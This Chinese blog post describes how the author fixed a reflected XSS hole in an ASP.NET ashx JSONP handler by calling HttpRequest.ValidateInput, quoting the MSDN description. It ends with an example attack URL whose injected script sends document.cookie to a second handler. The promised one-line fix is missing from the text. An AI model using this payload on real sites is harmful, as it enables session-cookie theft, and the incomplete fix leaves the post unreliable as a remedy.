VS2008.NET对ashx页面防止跨站攻击(XSS)

首先,给大家贴出解决方案,很简单,只需要加一句代码就OK。

 

最近项目中做了一个ashx的页面向其他人提供一个ajax的接口,接口调用使用到了jsonp的方式,当时也没考虑太多,直接将接收到的参数原样写回到了客户端。

项目上线之后,公司安全的就呼叫我了,说这个页面没有防止跨站攻击(XSS),说可以通过什么NC反弹工具,获取用户的cookie什么的。把偶搞得云里雾里的。

今天看了一下网上的跨站攻击资料,恍然大悟,不就是.net普通页面aspx默认就有的那个什么客户端输入值验证嘛。

我们经常的用到网页富文本编辑器的时候出现这个错误

不就是.net默认在防止XSS攻击吗?

既然.NET有进行XSS攻击验证的功能,那么在ashx页面上应该也是可以实现的,不用太复杂的去自己过滤那些特殊字符,而且我也不知道到底有哪些字符需要过滤。

查MSDN,找到一个函数。

HttpRequest..::.ValidateInput 方法

MSDN描述如下:

HttpRequest 类使用输入验证标志来跟踪是否对通过 CookiesFormQueryString 属性访问的请求集合执行验证。ValidateInput 方法设置这些标志,以便在调用CookiesFormQueryString 属性的 get 访问器时执行输入验证。验证的工作原理是,将所有输入数据与具有潜在危险的数据的硬编码列表进行对照检查。

如果页指令或配置启用了验证功能,则在页的 ProcessRequest 处理阶段调用此方法。如果未启用验证功能,则可通过代码调用ValidateInput 方法。

 

SO:我在页面加了一句

好了,后面在使用context.Request.QueryString["id"];获取URL参数的时候,有特殊字符的时候程序就会提示有潜在危险而报出异常了。

 

ASP.NET 4.0中使用FreeTextBox和FCKeditor遇到安全问题警告的解决办法

最后附上一段XSS攻击例子,简单易懂,不像公司那坑爹的安全组说的什么NC反弹,搞得哥云里雾里

http://localhost:20322/Handler1.ashx?id=<script>window.location.href='http://localhost:20322/Handler2.ashx?cookie='%2bdocument.cookie;</script>

 


 

 

posted @ 2012-04-25 16:16  bdstjk  阅读(601)  评论(0编辑  收藏  举报